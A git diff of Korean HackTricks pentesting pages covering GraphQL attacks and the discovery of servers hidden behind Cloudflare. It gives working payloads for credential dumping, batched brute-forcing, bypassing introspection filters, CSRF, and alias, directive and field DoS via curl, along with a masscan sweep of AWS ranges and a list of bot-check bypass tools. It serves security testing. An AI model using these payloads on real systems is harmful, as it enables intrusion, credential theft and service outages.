"_**password**_" 필드를 가지고 있음을 발견했습니다. +그리고 **열거 단계**에서 "_**dbuser**_" 객체가 "_**user**_"와 "_**password**_" 필드를 가지고 있다는 것을 발견했습니다. **쿼리 문자열 덤프 트릭 (thanks to @BinaryShadow\_)** -문자열 타입으로 검색할 수 있다면, 예를 들어: `query={theusers(description: ""){username,password}}`와 같이 **빈 문자열**을 **검색**하면 **모든 데이터가 덤프됩니다**. (_이 예제는 튜토리얼의 예제와 관련이 없으므로, 이 예제에서는 "**theusers**"를 "**description**"이라는 문자열 필드로 검색할 수 있다고 가정하십시오_). +문자열 타입으로 검색할 수 있다면, 예를 들어: `query={theusers(description: ""){username,password}}`와 같이 **빈 문자열**을 검색하면 **모든 데이터를 덤프**합니다. (_이 예제는 튜토리얼의 예제와 관련이 없으므로, 이 예제에서는 "**description**"이라는 문자열 필드를 사용하여 "**theusers**"를 검색할 수 있다고 가정합니다_). ### 검색 -이 설정에서, **데이터베이스**는 **사람들**과 **영화**를 포함합니다. **사람들**은 그들의 **이메일**과 **이름**으로 식별되며; **영화**는 그들의 **이름**과 **평점**으로 식별됩니다. **사람들**은 서로 친구가 될 수 있으며, 또한 영화가 있어 데이터베이스 내의 관계를 나타냅니다. +이 설정에서, **데이터베이스**는 **사람들**과 **영화**를 포함합니다. **사람들**은 그들의 **이메일**과 **이름**으로 식별되며; **영화**는 그들의 **이름**과 **평점**으로 식별됩니다. **사람들**은 서로 친구가 될 수 있으며, 또한 데이터베이스 내의 관계를 나타내는 영화를 가질 수 있습니다. 당신은 **이름**으로 사람들을 **검색**하고 그들의 이메일을 얻을 수 있습니다: ```javascript @@ -251,7 +250,7 @@ name ``` `subscribedMovies`의 `name`을 가져오는 방법에 유의하세요. -여러 개의 객체를 동시에 **검색할 수 있습니다**. 이 경우, 2개의 영화를 검색합니다: +여러 개의 객체를 **동시에 검색할 수 있습니다**. 이 경우, 2개의 영화를 검색합니다: ```javascript { searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) { @@ -284,15 +283,15 @@ name ``` ### Mutations -**Mutations는 서버 측에서 변경을 수행하는 데 사용됩니다.** +**변경은 서버 측에서 변경을 수행하는 데 사용됩니다.** -**introspection**에서 **선언된** **mutations**를 찾을 수 있습니다. 다음 이미지에서 "_MutationType_"은 "_Mutation_"이라고 하며, "_Mutation_" 객체는 mutations의 이름(이 경우 "_addPerson_")을 포함합니다: +**내부 탐색**에서 **선언된** **변경**을 찾을 수 있습니다. 다음 이미지에서 "_MutationType_"은 "_Mutation_"이라고 하며, "_Mutation_" 객체는 변경의 이름(이 경우 "_addPerson_")을 포함합니다: ![](<../../images/Screenshot from 2021-03-13 18-26-27 (1).png>) -이 설정에서 **database**는 **persons**와 **movies**를 포함합니다. **Persons**는 **email**과 **name**으로 식별되며, **movies**는 **name**과 **rating**으로 식별됩니다. **Persons**는 서로 친구가 될 수 있으며, 또한 데이터베이스 내의 관계를 나타내는 영화를 가질 수 있습니다. +이 설정에서 **데이터베이스**는 **사람**과 **영화**를 포함합니다. **사람**은 **이메일**과 **이름**으로 식별되며, **영화**는 **이름**과 **평점**으로 식별됩니다. **사람**은 서로 친구가 될 수 있으며, 데이터베이스 내의 관계를 나타내는 영화를 가질 수도 있습니다. -**database** 내에서 **새로운** 영화를 **생성하는** mutation은 다음과 같을 수 있습니다(이 예에서 mutation은 `addMovie`라고 합니다): +데이터베이스 내에서 **새로운** 영화를 **생성하는** 변경은 다음과 같을 수 있습니다(이 예에서 변경은 `addMovie`라고 불립니다): ```javascript mutation { addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) { @@ -340,7 +339,7 @@ releaseYear ### Batching brute-force in 1 API request 이 정보는 [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/)에서 가져왔습니다.\ -GraphQL API를 통한 인증은 **다양한 자격 증명을 가진 많은 쿼리를 동시에 전송**하여 확인합니다. 이는 고전적인 brute force 공격이지만, 이제 GraphQL batching 기능 덕분에 HTTP 요청당 하나 이상의 로그인/비밀번호 쌍을 보낼 수 있습니다. 이 접근 방식은 외부 속도 모니터링 애플리케이션을 속여 모든 것이 잘되고 있으며 비밀번호를 추측하려는 brute-forcing 봇이 없다고 생각하게 만듭니다. +GraphQL API를 통해 **다양한 자격 증명을 가진 많은 쿼리를 동시에 전송하여 인증**을 확인합니다. 이는 고전적인 brute force 공격이지만, 이제 GraphQL batching 기능 덕분에 HTTP 요청당 하나 이상의 로그인/비밀번호 쌍을 보낼 수 있습니다. 이 접근 방식은 외부 속도 모니터링 애플리케이션을 속여 모든 것이 잘되고 있으며 비밀번호를 추측하려는 brute-forcing 봇이 없다고 생각하게 만듭니다. 아래는 **한 번에 3개의 서로 다른 이메일/비밀번호 쌍**을 가진 애플리케이션 인증 요청의 가장 간단한 시연입니다. 분명히 같은 방식으로 단일 요청에서 수천 개를 보낼 수 있습니다: @@ -354,13 +353,13 @@ GraphQL API를 통한 인증은 **다양한 자격 증명을 가진 많은 쿼 점점 더 많은 **graphql 엔드포인트가 introspection을 비활성화**하고 있습니다. 그러나 예상치 못한 요청이 수신될 때 graphql이 발생시키는 오류는 [**clairvoyance**](https://github.com/nikitastupin/clairvoyance)와 같은 도구가 스키마의 대부분을 재구성하는 데 충분합니다. -게다가, Burp Suite 확장 프로그램 [**GraphQuail**](https://github.com/forcesunseen/graphquail)은 **Burp를 통해 전송되는 GraphQL API 요청을 관찰**하고 **각 새로운 쿼리를 통해** 내부 GraphQL **스키마**를 구축합니다. 또한 GraphiQL 및 Voyager를 위한 스키마를 노출할 수 있습니다. 이 확장 프로그램은 introspection 쿼리를 수신할 때 가짜 응답을 반환합니다. 결과적으로 GraphQuail은 API 내에서 사용할 수 있는 모든 쿼리, 인수 및 필드를 보여줍니다. 더 많은 정보는 [**여기서 확인하세요**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema). +게다가, Burp Suite 확장 프로그램 [**GraphQuail**](https://github.com/forcesunseen/graphquail)은 **Burp를 통해 전송되는 GraphQL API 요청을 관찰하고** **각 새로운 쿼리를 통해** 내부 GraphQL **스키마를 구축**합니다. 또한 GraphiQL 및 Voyager를 위한 스키마를 노출할 수 있습니다. 이 확장 프로그램은 introspection 쿼리를 수신할 때 가짜 응답을 반환합니다. 결과적으로 GraphQuail은 API 내에서 사용할 수 있는 모든 쿼리, 인수 및 필드를 보여줍니다. 더 많은 정보는 [**여기서 확인하세요**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema). -멋진 **단어 목록**을 통해 [**GraphQL 엔티티를 발견할 수 있습니다**](https://github.com/Escape-Technologies/graphql-wordlist?). +멋진 **단어 목록**은 [**GraphQL 엔티티를 발견하는 데 사용할 수 있습니다**](https://github.com/Escape-Technologies/graphql-wordlist?). ### Bypassing GraphQL introspection defences -API에서 introspection 쿼리에 대한 제한을 우회하기 위해, `__schema` 키워드 뒤에 **특수 문자를 삽입하는** 것이 효과적입니다. 이 방법은 introspection을 차단하려는 regex 패턴에서 일반적인 개발자의 실수를 이용하여 `__schema` 키워드에 집중합니다. GraphQL이 무시하지만 regex에서는 고려되지 않을 수 있는 **공백, 줄 바꿈 및 쉼표**와 같은 문자를 추가함으로써 제한을 우회할 수 있습니다. 예를 들어, `__schema` 뒤에 줄 바꿈이 있는 introspection 쿼리는 이러한 방어를 우회할 수 있습니다: +API에서 introspection 쿼리에 대한 제한을 우회하기 위해, `__schema` 키워드 뒤에 **특수 문자를 삽입하는** 것이 효과적입니다. 이 방법은 introspection을 차단하려는 정규 표현식 패턴에서 일반적인 개발자의 실수를 이용합니다. GraphQL이 무시하지만 정규 표현식에서는 고려되지 않을 수 있는 **공백, 줄 바꿈 및 쉼표**와 같은 문자를 추가함으로써 제한을 우회할 수 있습니다. 예를 들어, `__schema` 뒤에 줄 바꿈이 있는 introspection 쿼리는 이러한 방어를 우회할 수 있습니다: ```bash # Example with newline to bypass { @@ -398,13 +397,13 @@ ws.send(JSON.stringify(graphqlMsg)) ``` ### **노출된 GraphQL 구조 발견하기** -introspection이 비활성화된 경우, JavaScript 라이브러리에서 미리 로드된 쿼리를 찾기 위해 웹사이트의 소스 코드를 검사하는 것은 유용한 전략입니다. 이러한 쿼리는 개발자 도구의 `Sources` 탭을 사용하여 찾을 수 있으며, API의 스키마에 대한 통찰력을 제공하고 잠재적으로 **노출된 민감한 쿼리**를 드러냅니다. 개발자 도구 내에서 검색하는 명령은 다음과 같습니다: +내부 탐색이 비활성화된 경우, JavaScript 라이브러리에서 미리 로드된 쿼리를 찾기 위해 웹사이트의 소스 코드를 검사하는 것은 유용한 전략입니다. 이러한 쿼리는 개발자 도구의 `Sources` 탭을 사용하여 찾을 수 있으며, API의 스키마에 대한 통찰력을 제공하고 잠재적으로 **노출된 민감한 쿼리**를 드러냅니다. 개발자 도구 내에서 검색하는 명령은 다음과 같습니다: ```javascript Inspect/Sources/"Search all files" file:* mutation file:* query ``` -## GraphQL에서의 CSRF +## GraphQL의 CSRF CSRF가 무엇인지 모른다면 다음 페이지를 읽어보세요: @@ -412,7 +411,7 @@ CSRF가 무엇인지 모른다면 다음 페이지를 읽어보세요: ../../pentesting-web/csrf-cross-site-request-forgery.md {{#endref}} -그곳에서는 **CSRF 토큰 없이 구성된** 여러 GraphQL 엔드포인트를 찾을 수 있습니다. +여기에는 **CSRF 토큰 없이 구성된** 여러 GraphQL 엔드포인트를 찾을 수 있습니다. GraphQL 요청은 일반적으로 **`application/json`** 콘텐츠 유형을 사용하여 POST 요청을 통해 전송됩니다. ```javascript @@ -424,7 +423,7 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A ``` 따라서 이전과 같은 CSRF 요청이 **사전 비행 요청 없이** 전송되기 때문에, CSRF를 악용하여 GraphQL에서 **변경**을 **수행**할 수 있습니다. -그러나 Chrome의 `samesite` 플래그의 새로운 기본 쿠키 값은 `Lax`라는 점에 유의하십시오. 이는 쿠키가 GET 요청에서만 제3자 웹에서 전송된다는 것을 의미합니다. +그러나 Chrome의 `samesite` 플래그의 새로운 기본 쿠키 값이 `Lax`라는 점에 유의하십시오. 이는 쿠키가 GET 요청에서만 제3자 웹에서 전송된다는 것을 의미합니다. **쿼리** **요청**을 **GET** **요청**으로 전송하는 것도 일반적으로 가능하며, GET 요청에서 CSRF 토큰이 검증되지 않을 수 있습니다. @@ -434,7 +433,7 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A ## GraphQL에서의 교차 사이트 WebSocket 하이재킹 -GraphQL을 악용하는 CRSF 취약점과 유사하게, **보호되지 않은 쿠키로 GraphQL 인증을 악용하기 위한 교차 사이트 WebSocket 하이재킹을 수행**할 수도 있으며, 사용자가 GraphQL에서 예상치 못한 작업을 수행하게 만들 수 있습니다. +GraphQL을 악용하는 CRSF 취약점과 유사하게, **보호되지 않은 쿠키로 GraphQL 인증을 악용하기 위한 교차 사이트 WebSocket 하이재킹을 수행하고 사용자가 GraphQL에서 예상치 못한 작업을 수행하게 할 수 있습니다.** 자세한 내용은 확인하십시오: @@ -466,7 +465,7 @@ GraphQL을 악용하는 CRSF 취약점과 유사하게, **보호되지 않은 ## GraphQL에서 별칭을 사용한 속도 제한 우회 -GraphQL에서 별칭은 API 요청 시 **속성의 이름을 명시적으로 지정**할 수 있는 강력한 기능입니다. 이 기능은 단일 요청 내에서 **동일한 유형**의 객체 여러 인스턴스를 검색하는 데 특히 유용합니다. 별칭을 사용하면 GraphQL 객체가 동일한 이름을 가진 여러 속성을 가질 수 없다는 제한을 극복할 수 있습니다. +GraphQL에서 별칭은 API 요청 시 **속성을 명시적으로 이름 지정**할 수 있는 강력한 기능입니다. 이 기능은 단일 요청 내에서 **동일한 유형**의 객체 여러 인스턴스를 검색하는 데 특히 유용합니다. 별칭을 사용하면 GraphQL 객체가 동일한 이름을 가진 여러 속성을 가질 수 없다는 제한을 극복할 수 있습니다. GraphQL 별칭에 대한 자세한 이해를 위해 다음 리소스를 추천합니다: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases). @@ -487,18 +486,18 @@ valid } } ``` -## DoS in GraphQL +## GraphQL에서의 DoS -### Alias Overloading +### 별칭 오버로드 -**Alias Overloading**는 공격자가 동일한 필드에 대해 많은 별칭으로 쿼리를 과부하하여 백엔드 리졸버가 해당 필드를 반복적으로 실행하게 만드는 GraphQL 취약점입니다. 이로 인해 서버 리소스가 과부하되어 **서비스 거부(DoS)**로 이어질 수 있습니다. 예를 들어, 아래 쿼리에서 동일한 필드(`expensiveField`)가 별칭을 사용하여 1,000번 요청되어 백엔드가 이를 1,000번 계산하게 하여 CPU나 메모리를 소진할 수 있습니다: +**별칭 오버로드**는 공격자가 동일한 필드에 대해 많은 별칭으로 쿼리를 오버로드하여 백엔드 리졸버가 해당 필드를 반복적으로 실행하게 만드는 GraphQL 취약점입니다. 이는 서버 리소스를 압도하여 **서비스 거부(DoS)**를 초래할 수 있습니다. 예를 들어, 아래 쿼리에서 동일한 필드(`expensiveField`)가 별칭을 사용하여 1,000번 요청되어 백엔드가 이를 1,000번 계산하게 하여 CPU나 메모리를 소진시킬 수 있습니다: ```graphql # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "Content-Type: application/json" \ -d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \ 'https://example.com/graphql' ``` -이 문제를 완화하기 위해, 리소스 남용을 방지하기 위해 별칭 수 제한, 쿼리 복잡성 분석 또는 속도 제한을 구현하십시오. +이를 완화하기 위해, 리소스 남용을 방지하기 위해 별칭 수 제한, 쿼리 복잡성 분석 또는 속도 제한을 구현하십시오. ### **배열 기반 쿼리 배치** @@ -514,7 +513,7 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \ ### **지시문 과부하 취약점** -**지시문 과부하**는 GraphQL 서버가 과도하고 중복된 지시문을 허용할 때 발생합니다. 이는 서버의 파서와 실행기를 압도할 수 있으며, 특히 서버가 동일한 지시문 로직을 반복적으로 처리할 경우 더욱 그렇습니다. 적절한 검증이나 한계 없이 공격자는 수많은 중복 지시문으로 쿼리를 작성하여 높은 계산 또는 메모리 사용을 유발하여 **서비스 거부(DoS)**를 초래할 수 있습니다. +**지시문 과부하**는 GraphQL 서버가 과도하고 중복된 지시문을 허용할 때 발생합니다. 이는 서버의 파서와 실행기를 압도할 수 있으며, 특히 서버가 동일한 지시문 로직을 반복적으로 처리할 경우 더욱 그렇습니다. 적절한 검증이나 한계가 없으면, 공격자는 수많은 중복 지시문을 포함한 쿼리를 작성하여 높은 계산 또는 메모리 사용을 유발하여 **서비스 거부(DoS)**를 초래할 수 있습니다. ```bash # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "User-Agent: graphql-cop/1.13" \ @@ -536,11 +535,11 @@ curl -X POST \ -d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \ 'https://example.com/graphql' ``` -그리고 **사용자 정의** 항목 중 일부를 사용합니다. +그리고 **사용자 정의 항목 중 일부를 사용합니다.** ### **필드 중복 취약점** -**필드 중복**은 GraphQL 서버가 동일한 필드를 과도하게 반복하여 쿼리를 허용하는 취약점입니다. 이로 인해 서버는 각 인스턴스에 대해 필드를 중복으로 해결해야 하며, 이는 상당한 자원(CPU, 메모리 및 데이터베이스 호출)을 소모합니다. 공격자는 수백 또는 수천 개의 반복된 필드로 쿼리를 작성하여 높은 부하를 유발하고 잠재적으로 **서비스 거부(DoS)**로 이어질 수 있습니다. +**필드 중복**은 GraphQL 서버가 동일한 필드를 과도하게 반복하는 쿼리를 허용하는 취약점입니다. 이로 인해 서버는 각 인스턴스에 대해 필드를 중복으로 해결해야 하며, 이는 상당한 자원(CPU, 메모리 및 데이터베이스 호출)을 소모합니다. 공격자는 수백 또는 수천 개의 반복된 필드가 포함된 쿼리를 작성할 수 있으며, 이는 높은 부하를 초래하고 잠재적으로 **서비스 거부(DoS)**로 이어질 수 있습니다. ```bash # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \ @@ -555,12 +554,12 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso - [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): 배치 GraphQL 쿼리 및 변형 수행에 중점을 둔 GraphQL 보안 감사 스크립트. - [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): 사용 중인 graphql 지문 인식 - [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): 스키마를 가져오고 민감한 데이터 검색, 권한 테스트, 스키마 무차별 대입 및 특정 유형에 대한 경로 찾기에 사용할 수 있는 도구 키트. -- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): 독립형으로 사용하거나 [Burp extension](https://github.com/doyensec/inql)으로 사용할 수 있습니다. +- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): 독립형으로 사용하거나 [Burp 확장](https://github.com/doyensec/inql)으로 사용할 수 있습니다. - [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): CLI 클라이언트로도 사용하여 공격을 자동화할 수 있습니다. -- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): **GraphQL 스키마에서 특정 유형에 도달하는 다양한 방법**을 나열하는 도구. +- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): **GraphQL 스키마에서 특정 유형에 도달하는 다양한 방법을 나열하는 도구**. - [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): InQL의 독립형 및 CLI 모드의 후계자 - [https://github.com/doyensec/inql](https://github.com/doyensec/inql): 고급 GraphQL 테스트를 위한 Burp 확장. _**스캐너**_는 InQL v5.0의 핵심으로, GraphQL 엔드포인트 또는 로컬 introspection 스키마 파일을 분석할 수 있습니다. 모든 가능한 쿼리와 변형을 자동 생성하여 분석을 위한 구조화된 보기로 정리합니다. _**공격자**_ 구성 요소는 배치 GraphQL 공격을 실행할 수 있게 해주며, 이는 잘못 구현된 속도 제한을 우회하는 데 유용할 수 있습니다. -- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): 일부 Graphql 데이터베이스의 도움을 받아 introspection이 비활성화된 상태에서도 스키마를 얻으려고 시도합니다. +- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): 일부 Graphql 데이터베이스의 도움을 받아 introspection이 비활성화된 상태에서도 스키마를 얻으려고 시도합니다. 이 데이터베이스는 변형 및 매개변수의 이름을 제안합니다. ### 클라이언트 @@ -569,11 +568,13 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso ### 자동 테스트 -{% embed url="https://graphql-dashboard.herokuapp.com/" %} +{{#ref}} +https://graphql-dashboard.herokuapp.com/ +{{#endref}} - AutoGraphQL을 설명하는 비디오: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU) -## 참고 문헌 +## 참고자료 - [**https://jondow.eu/practical-graphql-attack-vectors/**](https://jondow.eu/practical-graphql-attack-vectors/) - [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696) @@ -583,5 +584,4 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso - [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696) - [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql) - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md b/src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md index 065bc2b05..59853f098 100644 --- a/src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md +++ b/src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md @@ -5,8 +5,8 @@ ## Cloudflare를 드러내기 위한 일반적인 기술 - 도메인의 **과거 DNS 기록**을 제공하는 서비스를 사용할 수 있습니다. 웹 페이지가 이전에 사용된 IP 주소에서 실행되고 있을 수 있습니다. -- **과거 SSL 인증서**를 확인하여 원래 IP 주소를 가리킬 수 있습니다. -- **IP를 직접 가리키는 다른 서브도메인의 DNS 기록**도 확인하세요. 다른 서브도메인이 같은 서버를 가리키고 있을 가능성이 있습니다(FTP, 메일 또는 기타 서비스를 제공하기 위해). +- **과거 SSL 인증서**를 확인하여 원래 IP 주소를 가리키고 있을 수 있습니다. +- **IP를 직접 가리키는 다른 서브 도메인의 DNS 기록**도 확인하세요. 다른 서브 도메인이 같은 서버를 가리키고 있을 가능성이 있습니다(FTP, 메일 또는 기타 서비스를 제공하기 위해). - 웹 애플리케이션 내에서 **SSRF를 찾으면** 이를 악용하여 서버의 IP 주소를 얻을 수 있습니다. - shodan과 같은 브라우저에서 웹 페이지의 고유 문자열을 검색하세요(아마도 google 및 유사한 사이트에서도?). 해당 콘텐츠로 IP 주소를 찾을 수 있을지도 모릅니다. - 고유 문자열을 찾는 대신 도구를 사용하여 파비콘 아이콘을 검색할 수 있습니다: [https://github.com/karma9874/CloudFlare-IP](https://github.com/karma9874/CloudFlare-IP) 또는 [https://github.com/pielco11/fav-up](https://github.com/pielco11/fav-up) @@ -14,7 +14,7 @@ ## Cloudflare를 드러내기 위한 도구 -- [http://www.crimeflare.org:82/cfs.html](http://www.crimeflare.org:82/cfs.html) 또는 [https://crimeflare.herokuapp.com](https://crimeflare.herokuapp.com)에서 도메인을 검색하세요. 또는 그 API를 사용하는 도구 [CloudPeler](https://github.com/zidansec/CloudPeler)를 사용하세요. +- [http://www.crimeflare.org:82/cfs.html](http://www.crimeflare.org:82/cfs.html) 또는 [https://crimeflare.herokuapp.com](https://crimeflare.herokuapp.com)에서 도메인을 검색하세요. 또는 [CloudPeler](https://github.com/zidansec/CloudPeler) 도구를 사용하세요(해당 API를 사용합니다). - [https://leaked.site/index.php?resolver/cloudflare.0/](https://leaked.site/index.php?resolver/cloudflare.0/)에서 도메인을 검색하세요. - [**CloudFlair**](https://github.com/christophetd/CloudFlair)는 도메인 이름이 포함된 Censys 인증서를 사용하여 검색한 후, 해당 인증서 내의 IPv4를 검색하고 마지막으로 해당 IP에서 웹 페이지에 접근하려고 시도하는 도구입니다. - [**CloakQuest3r**](https://github.com/spyboy-productions/CloakQuest3r): CloakQuest3r는 Cloudflare 및 기타 대안으로 보호된 웹사이트의 실제 IP 주소를 드러내기 위해 정교하게 제작된 강력한 Python 도구입니다. 이 도구의 핵심 임무는 Cloudflare의 보호막 뒤에 숨겨진 웹 서버의 실제 IP 주소를 정확하게 식별하는 것입니다. @@ -41,7 +41,9 @@ done 이 프로세스에 대한 더 나은 설명은 다음을 확인하세요: -{% embed url="https://trickest.com/blog/cloudflare-bypass-discover-ip-addresses-aws/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{{#ref}} +https://trickest.com/blog/cloudflare-bypass-discover-ip-addresses-aws/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks +{{#endref}} ```bash # Find open ports sudo masscan --max-rate 10000 -p80,443 $(curl -s https://ip-ranges.amazonaws.com/ip-ranges.json | jq -r '.prefixes[] | select(.service=="EC2") | .ip_prefix' | tr '\n' ' ') | grep "open" > all_open.txt @@ -61,16 +63,16 @@ httpx -json -no-color -list aws_webs.json -header Host: cloudflare.malwareworld. 이 메커니즘은 **클라이언트** [**SSL 인증서**](https://socradar.io/how-to-monitor-your-ssl-certificates-expiration-easily-and-why/) **를 사용하여** **Cloudflare의 리버스 프록시** 서버와 **오리진** 서버 간의 연결을 인증하는 데 의존합니다. 이를 **mTLS**라고 합니다. -고객은 자체 인증서를 구성하는 대신 Cloudflare의 인증서를 사용하여 Cloudflare에서 오는 모든 연결을 허용할 수 있습니다. **테넌트와 관계없이** 가능합니다. +고객은 자체 인증서를 구성하는 대신 Cloudflare의 인증서를 사용하여 **테넌트와 관계없이** Cloudflare에서 오는 모든 연결을 허용할 수 있습니다. > [!CAUTION] -> 따라서 공격자는 **Cloudflare의 인증서를 사용하여 Cloudflare에 도메인을 설정하고** 이를 **피해자** 도메인 **IP** 주소로 지정할 수 있습니다. 이렇게 하면 자신의 도메인이 완전히 보호되지 않으므로 Cloudflare는 전송된 요청을 보호하지 않습니다. +> 따라서 공격자는 **Cloudflare의 인증서를 사용하여 Cloudflare에 도메인을 설정하고** 이를 **피해자** 도메인 **IP** 주소로 지정할 수 있습니다. 이렇게 하면 자신의 도메인이 완전히 보호되지 않게 되어 Cloudflare는 전송된 요청을 보호하지 않습니다. 자세한 정보는 [**여기**](https://socradar.io/cloudflare-protection-bypass-vulnerability-on-threat-actors-radar/)에서 확인하세요. ### 허용 목록 Cloudflare IP 주소 -이 설정은 **Cloudflare의** IP 주소 범위에서 발생하지 않는 연결을 **거부**합니다. 이는 공격자가 자신의 도메인을 Cloudflare에 **지정하여** **피해자의 IP** 주소로 공격하는 이전 설정에 취약합니다. +이 설정은 **Cloudflare의** IP 주소 범위에서 발생하지 않는 연결을 **거부**합니다. 이는 공격자가 **Cloudflare에서 자신의 도메인을** 피해자의 IP 주소로 지정하고 공격하는 이전 설정에 취약합니다. 자세한 정보는 [**여기**](https://socradar.io/cloudflare-protection-bypass-vulnerability-on-threat-actors-radar/)에서 확인하세요. @@ -94,11 +96,11 @@ httpx -json -no-color -list aws_webs.json -header Host: cloudflare.malwareworld. 여러 가지 Cloudflare 솔버가 개발되었습니다: - [FlareSolverr](https://github.com/FlareSolverr/FlareSolverr) -- [cloudscraper](https://github.com/VeNoMouS/cloudscraper) [가이드는 여기](https://scrapeops.io/python-web-scraping-playbook/python-cloudscraper/) +- [cloudscraper](https://github.com/VeNoMouS/cloudscraper) [가이드 여기](https://scrapeops.io/python-web-scraping-playbook/python-cloudscraper/) - [cloudflare-scrape](https://github.com/Anorov/cloudflare-scrape) - [CloudflareSolverRe](https://github.com/RyuzakiH/CloudflareSolverRe) - [Cloudflare-IUAM-Solver](https://github.com/ninja-beans/cloudflare-iuam-solver) -- [cloudflare-bypass](https://github.com/devgianlu/cloudflare-bypass) \[보관됨] +- [cloudflare-bypass](https://github.com/devgianlu/cloudflare-bypass) \[아카이브됨\] - [CloudflareSolverRe](https://github.com/RyuzakiH/CloudflareSolverRe) ### 강화된 헤드리스 브라우저 @@ -107,18 +109,18 @@ httpx -json -no-color -list aws_webs.json -header Host: cloudflare.malwareworld. - **Puppeteer:** [puppeteer](https://github.com/puppeteer/puppeteer)용 [스텔스 플러그인](https://github.com/berstend/puppeteer-extra/tree/master/packages/puppeteer-extra-plugin-stealth). - **Playwright:** [스텔스 플러그인](https://www.npmjs.com/package/playwright-stealth)이 곧 Playwright에 추가됩니다. 개발 상황은 [여기](https://github.com/berstend/puppeteer-extra/issues/454)와 [여기](https://github.com/berstend/puppeteer-extra/tree/master/packages/playwright-extra)에서 확인하세요. -- **Selenium:** [undetected-chromedriver](https://github.com/ultrafunkamsterdam/undetected-chromedriver) 최적화된 Selenium Chromedriver 패치. +- **Selenium:** 최적화된 Selenium Chromedriver 패치인 [undetected-chromedriver](https://github.com/ultrafunkamsterdam/undetected-chromedriver). ### Cloudflare 내장 우회 기능이 있는 스마트 프록시 -**스마트 프록시**는 전문 회사에 의해 지속적으로 업데이트되어 Cloudflare의 보안 조치를 우회하는 것을 목표로 합니다(그들이 하는 사업입니다). +**스마트 프록시**는 전문 회사에 의해 지속적으로 업데이트되어 Cloudflare의 보안 조치를 우회하는 것을 목표로 